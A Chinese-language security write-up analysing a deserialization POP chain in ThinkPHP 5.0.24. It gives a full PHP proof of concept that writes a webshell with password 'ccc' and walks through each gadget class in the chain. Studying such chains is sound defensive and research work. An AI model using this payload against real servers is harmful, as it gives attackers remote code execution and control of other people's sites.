漏洞介绍
存在反序列化链子,可实现写shell
漏洞演示
poc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| <?php namespace think\process\pipes { class Windows { private $files = [];
public function __construct($files) { $this->files = [$files]; } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent;
function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("xxx"=>"getError"); $this->error = $modelRelation; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; $this->bindAttr = ['xxx']; } } }
namespace think\db { class Query { protected $model;
function __construct($model) { $this->model = $model; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; }
} } namespace think\session\driver { class Memcached { protected $handler;
function __construct($handle) { $this->handler = $handle; } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag;
function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; }
} }
namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window)); }
|
会在当前目录下生成名为的webshell,密码为ccc
,访问即可
漏洞分析
测试环境
php7.4.11
apache2
ThinkPHP5.0.24
在Index.php首页增加如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace app\index\controller;
class Index { public function index($input='') { echo "Welcome thinkphp 5.0.24"; echo $input; unserialize($input); } }
|
漏洞代码分析
入口在thinkphp/library/think/process/pipes/Windows.php
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
调用了removeFiles函数
函数中使用了file_exists函数,会触发__toString
函数,这里的__toString
函数选择Model.php
中的
由__toString
转到toJson
在转到toArray
,然后在toArray
函数的以下部分为关键性代码
$modelRelation
通过将$relation
设置为getError
返回think/model/relation/HasOne
类,用于后面的getRelationData
方法能返回后面利用的Output
类
然后看getRelationData
函数,最终$value
的值应该是think/console/Output
对象
这里有三个验证条件,首先$this->parent
设置为think/console/Output
,然后$modelRelation
的selfRelation
设置为false
通过第二个验证
然后设置$modelRelation
的query
为Query类并且设置$this->model
为Output
类使得等号成立,最终返回$value
为thinkphp/library/think/console/Output.php
类对象
然后我们拿到了Output
类对象,准备调用它的__call
方法,通过下面的getAttr
来调用
1
| $item[$key] = $value ? $value->getAttr($attr) : null;
|
这里调用了block方法,经过一系列调用最后调用了$this->handle->write
方法
经过搜寻,可以利用thinkphp/library/think/session/driver/Memcached.php
的write
方法,然后接着通过将handler
设置为File类从而使用thinkphp/library/think/cache/driver/File.php
的set
方法
这里的$filename
通过getCacheKey
函数获取
可以通过修改$this->options['path']
参数控制前部分文件名,后面的$name
是传入参数的md5值,不是有效字符,然后有mkdir
功能,可用于创建可写目录,返回文件名后由于传入的$value
变量是true
,因此写入的内容是不可利用的,但是后面使用了setTagItem
函数可利用
这里的$tag
可以自己修改,并且最关键的是$name
就是我们前面可以控制前半部分的$filename
,可以通过php伪协议写入有效字符
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
,然后再调用一次set
函数成功写入webshella.php12ac95f1498ce51d2d96a249c09c1998.php
POP链
参考链接
https://blog.csdn.net/qq_39495209/article/details/107864262
https://blog.csdn.net/weixin_46236101/article/details/109154096
https://xz.aliyun.com/search?page=2&keyword=thinkphp